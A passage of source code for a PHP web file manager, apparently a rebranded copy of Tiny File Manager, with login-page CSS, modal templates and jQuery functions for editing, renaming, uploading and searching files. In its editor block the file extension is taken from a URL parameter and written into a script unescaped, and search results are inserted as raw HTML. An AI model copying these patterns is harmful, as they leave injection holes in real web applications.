6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
a {text-decoration: none; color:black;}
a:hover {text-decoration: none;color: red;}
.fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
.fm-login-page .brand img{ width:100%}
.fm-login-page .card-wrapper{ margin-top:3%;margin-left:auto;margin-right:auto;}
.fm-login-page .card{ border: 2px solid red; border-radius: 5px;}
.fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
.fm-login-page .form-control{ border-width:2.3px}
.fm-login-page .form-group label{ width:100%}
.fm-login-page .btn.btn-block{ padding:12px 10px}
.fm-login-page .footer{ margin:0px;color:#888;text-align:center}
.fa { color:black;padding: 10px;font-size: 20px;width: 50px;text-align: center;text-decoration: none;margin: 5px;border-radius: 5px;border: 2px solid red;background: transparent;}
.fa:hover {color: red;}
@media screen and (max-width:425px){
.fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
}
@media screen and (max-width:320px){
.fm-login-page .card.fat{ padding:0}
.fm-login-page .card.fat .card-body{ padding:15px}
}
.message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
.message.ok{ border-color:green;color:green}
.message.error{ border-color:red;color:red}
.message.alert{ border-color:orange;color:orange}
body.fm-login-page.theme-dark {background-color: #2f2a2a;}
.theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
</style>
</head>
<body style="font-family: 'Kelly Slab';" class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">
<?php
}
/**
* Show page footer in Login Form
*/
function fm_show_footer_login()
{
?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>
</body>
</html>
<?php
}
/**
* Show Header after login
*/
function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fm_enc($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fm_enc(APP_TITLE) ?></title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css" />
<?php if (FM_USE_HIGHLIGHTJS): ?>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css">
<?php endif; ?>
<style>
body { font-size:14px;color:#222;background:#F7F7F7; }
body.navbar-fixed { margin-top:55px; }
a:hover, a:visited, a:focus { text-decoration:none !important; }
* { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; }
.filename, td, th { white-space:nowrap }
.navbar-brand { font-weight:bold; }
.nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
.nav-item.avatar a > i { font-size:15px; }
.nav-item.avatar .dropdown-menu a { font-size:13px; }
#search-addon { font-size:12px;border-right-width:0; }
#search-addon2 { background:transparent;border-left:0; }
.bread-crumb { color:#cccccc;font-style:normal; }
#main-table .filename a { color:#222222; }
.table td, .table th { vertical-align:middle !important; }
.table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; }
.table-sm td, .table-sm th { padding:.4rem; }
.table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
.hidden { display:none }
pre.with-hljs { padding:0 }
pre.with-hljs code { margin:0;border:0;overflow:visible }
code.maxheight, pre.maxheight { max-height:512px }
.fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec }
.fa.fa-home { font-size:1.3em;vertical-align:bottom }
.path { margin-bottom:10px }
form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
.right { text-align:right }
.center, .close, .login-form { text-align:center }
.message { padding:4px 7px;border:1px solid #ddd;background-color:#fff }
.message.ok { border-color:green;color:green }
.message.error { border-color:red;color:red }
.message.alert { border-color:orange;color:orange }
.preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC) }
.inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px }
.preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px }
.preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000 }
.compact-table { border:0;width:auto }
.compact-table td, .compact-table th { width:100px;border:0;text-align:center }
.compact-table tr:hover td { background-color:#fff }
.filename { max-width:420px;overflow:hidden;text-overflow:ellipsis }
.break-word { word-wrap:break-word;margin-left:30px }
.break-word.float-left a { color:#7d7d7d }
.break-word + .float-right { padding-right:30px;position:relative }
.break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px }
#editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px }
@media (max-width:481px) {
#editor { top:150px; }
}
#normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
.btn-2 { border-radius:0;padding:3px 6px;font-size:small; }
li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
li.folder:before { content:"\f114" }
i.fa.fa-folder-o { color:#0157b3 }
i.fa.fa-picture-o { color:#26b99a }
i.fa.fa-file-archive-o { color:#da7d7d }
.btn-2 i.fa.fa-file-archive-o { color:inherit }
i.fa.fa-css3 { color:#f36fa0 }
i.fa.fa-file-code-o { color:#007bff }
i.fa.fa-code { color:#cc4b4c }
i.fa.fa-file-text-o { color:#0096e6 }
i.fa.fa-html5 { color:#d75e72 }
i.fa.fa-file-excel-o { color:#09c55d }
i.fa.fa-file-powerpoint-o { color:#f6712e }
i.go-back { font-size:1.2em;color:#007bff; }
.main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2) }
.dataTables_filter { display:none; }
table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
.footer-action li { margin-bottom:10px; }
.app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
.ekko-lightbox .modal-dialog { max-width:98%; }
.ekko-lightbox-item.fade.in.show .row { background:#fff; }
.ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; }
.ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; }
.ekko-lightbox-nav-overlay a:hover { color:#20507D; }
#snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
#snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
@-webkit-keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@keyframes fadein { from { bottom:0;opacity:0; }
to { bottom:30px;opacity:1; }
}
@-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
@keyframes fadeout { from { bottom:30px;opacity:1; }
to { bottom:0;opacity:0; }
}
#main-table span.badge { border-bottom:2px solid #f8f9fa }
#main-table span.badge:nth-child(1) { border-color:#df4227 }
#main-table span.badge:nth-child(2) { border-color:#f8b600 }
#main-table span.badge:nth-child(3) { border-color:#00bd60 }
#main-table span.badge:nth-child(4) { border-color:#4581ff }
#main-table span.badge:nth-child(5) { border-color:#ac68fc }
#main-table span.badge:nth-child(6) { border-color:#45c3d2 }
@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; }
}
.btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
.lds-facebook { display:none;position:relative;width:64px;height:64px }
.lds-facebook div,.lds-facebook.show-me { display:inline-block }
.lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
.lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
.lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
.lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
@keyframes lds-facebook { 0% { top:6px;height:51px }
100%,50% { top:19px;height:26px }
}
ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
.c-preview-img {
max-width: 300px;
}
</style>
<?php
if (FM_THEME == "dark"): ?>
<style>
body.theme-dark { background-color: #2f2a2a; }
.list-group .list-group-item { background: #343a40; }
.theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; }
a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; }
ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; }
.theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; }
.theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;}
</style>
<?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
<!-- New Item creation -->
<div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content <?php echo fm_get_theme(); ?>">
<div class="modal-header">
<h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input">
<label class="custom-control-label" for="customRadioInline1"><?php echo lng('File') ?></label>
</div>
<div class="custom-control custom-radio custom-control-inline">
<input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked="">
<label class="custom-control-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
</div>
<p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
<input type="text" name="newfilename" id="newfilename" value="" class="form-control">
</div>
<div class="modal-footer">
<button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
<button type="button" class="btn btn-success" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
</div>
</div>
</div>
</div>
<!-- Modal -->
<div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content <?php echo fm_get_theme(); ?>">
<div class="modal-header">
<h5 class="modal-title col-10" id="searchModalLabel">
<div class="input-group input-group">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> a files" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
<div class="input-group-append">
<span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
</div>
</div>
</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<form action="" method="post">
<div class="lds-facebook"><div></div><div></div><div></div></div>
<ul id="search-wrapper">
<p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
</ul>
</form>
</div>
</div>
</div>
</div>
<script type="text/html" id="js-tpl-modal">
<div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true">
<div class="modal-dialog modal-dialog-centered" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<%this.content%>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
<%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%>
</div>
</div>
</div>
</div>
</script>
<?php
}
/**
* Show page footer
*/
function fm_show_footer()
{
?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<script src="https://cdn.datatables.net/1.11.5/js/jquery.dataTables.min.js"></script>
<script src="https://cdn.datatables.net/plug-ins/1.11.5/sorting/absolute.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script>
<?php if (FM_USE_HIGHLIGHTJS): ?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/highlight.min.js"></script>
<script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
$(document).on('click', '[data-toggle="lightbox"]', function(event) {
event.preventDefault();
var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } };
$(this).ekkoLightbox({
alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); }
});
});
//TFM Config
window.curi = "https://tinyfilemanager.github.io/config.json", window.config = null;
function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }}
function template(html,options){
var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
}
function newfolder(e) {
var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value;
null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n))
}
function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))}
function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
function select_all() { change_checkboxes(get_checkboxes(), !0) }
function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
function invert_all() { change_checkboxes(get_checkboxes()) }
function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
function backup(e, t) { //Create file backup with .bck
var n = new XMLHttpRequest,
a = "path=" + e + "&file=" + t + "&type=backup&ajax=true";
return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
4 == n.readyState && 200 == n.status && toast(n.responseText)
}, n.send(a), !1
}
// Toast message
function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
//Save file
function edit_save(e, t) {
var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
if (typeof n !== 'undefined' && n !== null) {
if (true) {
var data = {ajax: true, content: n, type: 'save'};
$.ajax({
type: "POST",
url: window.location,
// The key needs to match your method's input parameter (case-sensitive).
data: JSON.stringify(data),
contentType: "application/json; charset=utf-8",
//dataType: "json",
success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
failure: function(mes) {toast("Error: try again");},
error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
});
} else {
var a = document.createElement("form");
a.setAttribute("method", "POST"), a.setAttribute("action", "");
var o = document.createElement("textarea");
o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
var c = document.createTextNode(n);
o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit()
}
}
}
//Check latest version
function latest_release_info(v) {
if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html();
if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;}
$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{fm_get_config();}
}
function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
//Save Settings
function save_settings($this) {
let form = $($this);
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
success: function (data) {if(data) { window.location.reload();}}
}); return false;
}
//Create new password hash
function new_password_hash($this) {
let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
success: function (data) { if(data) { $pwd.val(data); } }
}); return false;
}
//Upload files using URL @param {Object}
function upload_from_url($this) {
let form = $($this), resultWrapper = $("div#js-url-upload__list");
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
success: function (data) {
if(data) {
data = JSON.parse(data);
if(data.done) {
resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
} else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
}
},
error: function(xhr) {
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
}
}); return false;
}
//Search template
function search_template(data) {
var response = "";
$.each(data, function (key, val) {
response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
});
return response;
}
//search
function fm_search() {
var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
if(!!searchTxt && searchTxt.length > 2 && path) {
var data = {ajax: true, content: searchTxt, path:path, type: 'search'};
$.ajax({
type: "POST",
url: window.location,
data: data,
beforeSend: function() {
searchWrapper.html('');
$loader.addClass('show-me');
},
success: function(data){
$loader.removeClass('show-me');
data = JSON.parse(data);
if(data && data.length) {
_html = search_template(data);
searchWrapper.html(_html);
} else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
},
error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
});
} else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
}
//on mouse hover image preview
!function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);
// Dom Ready Event
$(document).ready( function () {
//load config
fm_get_config();
//dataTable init
var $table = $('#main-table'),
tableLng = $table.find('th').length,
_targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3],
emptyType = $.fn.dataTable.absoluteOrder([{ value: '', position: 'top' }]);
mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}, {type: emptyType, targets: '_all',},]
});
//search
$('#search-addon').on( 'keyup', function () {
mainTable.search( this.value ).draw();
});
$("input#advanced-search").on('keyup', function (e) {
if (e.keyCode === 13) { fm_search(); }
});
$('#search-addon3').on( 'click', function () { fm_search(); });
//upload nav tabs
$(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
e.preventDefault();let target=$(this).data('target');
$(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
$(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
});
});
</script>
<?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE):
$ext = "javascript";
$ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
?>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12/ace.js"></script>
<script>
var editor = ace.edit("editor");
editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
//editor.setTheme("ace/theme/twilight"); //Dark Theme
function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
editor.commands.addCommands([{
name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'},
exec: function(editor) { edit_save(this, 'ace'); }
}]);
function renderThemeMode() {
var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
_data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML 